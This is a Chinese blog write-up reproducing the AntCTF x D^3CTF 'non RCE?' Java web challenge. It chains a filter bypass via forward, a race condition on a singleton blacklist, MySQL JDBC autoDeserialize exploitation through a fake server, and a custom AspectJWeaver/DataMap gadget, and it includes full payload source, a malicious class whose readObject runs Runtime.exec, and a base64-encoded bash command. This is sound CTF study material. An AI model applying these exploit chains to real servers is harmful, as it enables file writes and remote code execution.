zoukankan      html  css  js  c++  java
  • AntCTF x D^3CTF [non RCE?] 赛后复现

    前言

    基本没怎么打CTF比赛了,最近空闲下来想拓展和活跃下思路,刚好看到AntCTF的一道web题目的writeup,打算跟着学习一波

    环境搭建

    首先搭好环境

    https://github.com/Ant-FG-Lab/non_RCE

    idea里面直接使用maven就可以,web启动在launch里面

    这道题目考察的是

    filter的配置绕过
    条件竞争
    mysql反序列化
    AspectJWeaver的gadget构造
    加载恶意类实现远程代码执行
    

    知识点1

    绕过filter

    首先第一个点绕过LoginFilter,先看看这个filter的内容

    大致意思是题目有个密码,基本爆破不了,访问admin/路径的时候会触发该filter验证密码,密码以password的get参数传入,password不对直接返回401认证失败

    绕过方法是使用forward,恰巧AntiUrlAttackerFilter有forward操作

    方式很简单将传入的./或者;替换为空并且将新的url传入forward即可

    这是为什么呢,这里在@WebFilter 装饰器的参数中有个叫dispatcherTypes的参数,默认存在DispatcherType.REQUEST参数,而他还有DispatcherType.FORWARD、DispatcherType.INCLUDE、DispatcherType.ASYNC、DispatcherType.ERROR这4个参数,如果在设置中设置了dispatcherTypes所对应的参数,则会进行filter过滤,反之没有设置则不会再被filter进行过滤

    因为此次为默认,只会过滤REQUEST请求,不会过滤FORWARD,则照成了绕过

    此时使用forward跳转也会触发LoginFilter过滤器了

    知识点2

    jdbc中存在参数autoDeserialize,这个参数官方手册解释到

    autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。
    

    但这个参数默认是false,因为可以控制jdbc的url于是我们需要将其设置为true,但是在BlackListChecker中设置了黑名单,中有autoDeserialize和%为黑名单内容

    所以带上autoDeserialize请求会返回400,过滤%是为了过滤掉编码

    但因为BlackList使用的单例工厂模式,即只有一个实例

    再看check(String s)函数操作,取出实例后将传入的字符串放入setToBeChecked(String s)函数中,因为只有一个实例,所以每次请求都会刷新this.toBeChecked的值,意味着只要在被拦截的poc执行doCheck()之前将不被拦截的poc放入setToBeChecked(String s)中重新对this.toBeChecked赋值,则可绕过

    也就是此处存在条件竞争,一个poc发送带有autoDeserialize字段的请求,另一个不带,2个爆破一起启动

    知识点3

    mysql反序列化,为了理解该点,我先手动添加commons.collections 3组件

    那么mysql反序列化即在连接jdbc阶段即可触发,触发条件autoDeserialize=true在知识点2中已经解决,而mysql反序列化是因为下面一串代码照成,在mysql-connector-java中如果autoDeserialize=true则会调用到readObject()这是我们反序列的入口

    public Object getObject(int columnIndex) throws SQLException {
    ……
    case BLOB:
      byte[] data = getBytes(columnIndex);
      if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
         Object obj = data;
         // Serialized object?
         try {
           ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
           ObjectInputStream objIn = new ObjectInputStream(bytesIn);
           obj = objIn.readObject();
         }
      }
    }
    

    接下来需要一个参数statementInterceptors来加载对应的类触发反序列化的操作,这里网上查一下在5.1版本可以使用下面的类

    statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
    

    因此这里的poc进一步变成

    jdbc:mysql://127.0.0.1:3306/hhsrc?autoDeserialize=true%26user=root%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
    

    接下来有触发,就是需要被readObject()的数据如何传入了,但是在mysql-connector-java中传入的columnIndex变量其实为sql语句执行后的返回内容,但是此处我们可以控制mysql的连接地址,因此可以做到去自定义mysql服务器的内容,让题目环境连接后触发,而com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor会触发下面的sql语句

    SHOW SESSION STATUS
    

    此时需要一个mysql服务器将内容返回为反序列的poc,即可完成利用,github有现成的工具

    https://github.com/fnmsd/MySQL_Fake_Server

    因为我3306的mysql已经启动,这里就将poc的端口设置为3307

    以及对ysoserial.jar路径进行设置

    使用dnslog查看是否存在漏洞

    dnslog记录信息

    使用poc

    # touch /Users/mi0/Desktop/1.txt
    # bash -c {echo,dG91Y2ggL1VzZXJzL21pMC9EZXNrdG9wLzEudHh0}|{base64,-d}|{bash,-i}
    

    触发,我本机的java是jdk1.8 所以使用CommonsCollections5组件

    发送poc成功添加文件,执行命令

    添加成功

    这里因为没有commons.collections类的组件,暂时我手动添加,利用AspectJWeaver组件和DataMap写在知识点4中

    知识点4

    反序列化构造,这里使用了AspectJWeaver组件,writeup中提到ysoserial项目中近期也更新了其poc,可以看看怎么写的

    看到他使用了commons.collections组件,题目给的pom.xml中是没有该组件的,出题人也表示不想让选手直接使用现成的poc,因此此处需要自己写gadget的poc

    这里构造gadget就需要DataMap文件中的代码,可以看到DataMap类是调用了Serializable接口是可以反序列化的

    首先对AspectJWeaver进行分析,从ysoserial可知,使用反射调用了StoreableCachingMap,simpleCache即为实例

    找到依赖包中的源码

    StoreableCachingMap中对put方法进行了重写

    跟进writeToPath方法,可以看到将 valueBytes的内容写到 key文件中

    key文件的路径在poc中为当前目录

    对其中调用的commons-collection3的理解,其中lazymap的作用,跟踪一下,发现在get不存在时会触发put操作

    TiedMapEntry在调用getValue方法时会调用成员变量的map的key值

    而HashMap在yso中的代码逻辑会调用对象的getValue()方法

    大致逻辑是

    HashMap(不依赖common-collection) -> 传入TiedMapEntry实例 -> 触发getValue
    TiedMapEntry(依赖common-collection) -> 传入Lazymap实例和文件名 -> 触发getValue时,触发Lazymap的get()操作,参数为文件名
    Lazymap(依赖common-collection) -> 传入AspectJWeaver实例和字符串 -> 触发get()操作时,触发传入AspectJWeaver实例的put()操作,key为文件名,value为字符串
    AspectJWeaver(不依赖common-collection) —> 通过Lazymap执行put操作 -> 触发自身的put操作写入文件
    

    那么此时就需要从DataMap中替换掉TideMapEntry和Lazymap以及Transformer,ConstantTransformer参数

    通读DataMap可以大致建立替换关系

    TiedMapEntry				=>	DataMap$Entry
    Lazymap							=>	DataMap
    

    进行修改,将原先Common-collection的组件进行替换,Entry是DataMap的内部内,因此反射声明的时候需要带上对应实例

    大致逻辑如下

    HashMap调用DataMap$EntryhasCode()

    DataMap$EntryhasCode()触发this.getValue(),并且this.key参数为文件路径

    this.value是为null的接下来触发外部的类DataMapget()方法

    this.values的值为org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap强转后的map,该值在此次会被判定为空,则进入this.vaules.put()中,也就是StoreableCachingMapput()方法,传入的key值为文件路径,v值为this.wrapperMap.get(文件路径)也就是content变量(即文件内容),运行下poc

    成功新加文件

    添加aaa.txt文件

    知识点5

    现在问题来了,整个知识点4的反序列化流程分析完,该漏洞只能做到对服务器上进行写文件,但题目的环境基本没有使用jsp之类可直接运行脚本文件。也就是如果存在个上传点,也无法实现webshell上传

    这里可以利用知识点3中的statementInterceptors来帮助我们完成rce,也就是第一步上传能弹shell的类到指定路径,第二步用statementInterceptors调用上传的类实现rce

    先打包试试原生态的aaa.txt的poc

    使用知识点3的方法,这里方便调试我把知识点2中的blacklist的黑名单过滤关了

    在调试时遇到个坑(是我对反序列化还不够了解导致的),包的路径必须和目标的路径相同才能反序列成功,因此对yso中添加的DataMap的位置进行了调整

    现在调试成功,可以对目标服务器写入文件了

    接下来是路径文件,如果使用.的当前目录,则会写到项目的根目录下

    现在的想法是写到我们能调用的目录下面去,那么应该在target/classes目录下面,准备反序列化的poc

    我在servlet目录下生成一个叫做poc的类

    package servlet;
    import java.io.*;
    
    public class poc implements Serializable {
    
        private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
            out.defaultReadObject();
        }
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
        }
    }
    

    通过以下代码生成反序列化字符串

    poc o = new poc();
    FileOutputStream fileOutputStream = new FileOutputStream("/Users/mi0/Desktop/serialize.txt");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(o);
    

    下一步修改mysql反序列工具中的二进制字段,让返回值为我们生成的序列化文件内容

    尝试一下,成功

    本地调试成功,接下来就是把poc类传到目标服务器即可,将poc.class提取出来并保存为base64

    import base64
    
    f = open('poc.class', 'rb')
    clazz = f.read()
    result = base64.b64encode(clazz)
    print(result)
    

    把目录下的poc.java删除,重新打包

    mysql反序列工具中添加我们的poc

    发送,成功添加

    修改mysql反序列化为打开生成的poc文件后再次发送,成功执行touch命令

    解题流程

    在上面5个知识点将题目分解成5个知识点并逐个调试完成后,现将整个题目进行复现

    编写根据题目提供的DataMap类的反序列化gadget

    package ysoserial.payloads;
    
    import org.apache.commons.codec.binary.Base64;
    import org.python.modules.time.Time;
    import checker.DataMap;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    
    import java.io.Serializable;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    
    @PayloadTest(skip="non RCE")
    @SuppressWarnings({"rawtypes", "unchecked"})
    @Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
    @Authors({ "sijidou" })
    
    public class Antictf implements ObjectPayload<Serializable> {
    
        public Serializable getObject(final String command) throws Exception {
            int sep = command.lastIndexOf(';');
            if ( sep < 0 ) {
                throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
            }
            String[] parts = command.split(";");
            String filename = parts[0];
            byte[] content = Base64.decodeBase64(parts[1]);
    
            Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
            Object simpleCache = ctor.newInstance(".", 12);
    
            HashMap wrapperMap = new HashMap();
            wrapperMap.put(filename,content);
            DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache);
            Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry");
            Reflections.setAccessible(Entryctor);
            Object entry = Entryctor.newInstance(dataMap, filename);
    
            HashSet map = new HashSet(1);
            map.add("foo");
            Field f = null;
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException e) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
    
            Reflections.setAccessible(f);
            HashMap innimpl = (HashMap) f.get(map);
    
            Field f2 = null;
            try {
                f2 = HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException e) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }
    
            Reflections.setAccessible(f2);
            Object[] array = (Object[]) f2.get(innimpl);
    
            Object node = array[0];
            if(node == null){
                node = array[1];
            }
    
            Field keyField = null;
            try{
                keyField = node.getClass().getDeclaredField("key");
            }catch(Exception e){
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
    
            Reflections.setAccessible(keyField);
            keyField.set(node, entry);
    
            return map;
    
        }
    
        public static void main(String[] args) throws Exception {
            args = new String[]{"bbb.txt;YWhpaGloaQ=="};
            PayloadRunner.run(Antictf.class, args);
        }
    }
    

    使用maven打包成jar包,idea能够快速打包,在右侧栏点开maven,点击compile再点package即可,生成的jar包在target目录下

    编写恶意类,运行生成serialize.txt

    package servlet;
    
    import java.io.*;
    import java.io.Serializable;
    
    public class poc implements Serializable {
        public poc() {
        }
    
        private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
            out.defaultReadObject();
        }
    
        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
        }
    
        public static void main(String[] args) throws Exception {
            poc o = new poc();
            FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(o);
        }
    }
    
    

    运行后使用python脚本将class的内容转换为base64

    import base64
    
    f = open('poc.class', 'rb')
    clazz = f.read()
    result = base64.b64encode(clazz)
    print(result)
    

    编辑mysql反序列化工具的config.json,并修改生成的yso的jar包的路径

    https://github.com/fnmsd/MySQL_Fake_Server

    启动mysql工具(我这里启到3307端口的),使用条件竞争执行,执行反序列化写文件

    重复发送1000次

    修改mysql反序列化工具代码,将传入字符串改为poc的反序列化值

    重新启动mysql反序列化的server.py,再次重复条件竞争

    成功添加

    参考

    https://blog.csdn.net/fnmsd/article/details/106232092

    https://meizjm3i.github.io/2021/03/07/Servlet中的时间竞争以及AsjpectJWeaver反序列化Gadget构造-AntCTFxD-3CTF-non-RCE题解/

    https://daybr4ak.github.io/2021/03/12/no-RCE反序列化链分析/![]

  • 相关阅读:
    委托demo
    事件demo
    数据结构与算法分析表ADT
    数据结构与算法分析栈ADT
    Access的“自动编号”问题
    C#获取时间函数
    在load事件中关闭窗体
    panel里面显示form的问题
    将RichTextBox 的内容直接写入数据库
    利用反射来创建一个Form.
  • 原文地址:https://www.cnblogs.com/sijidou/p/14631154.html
Copyright © 2011-2022 走看看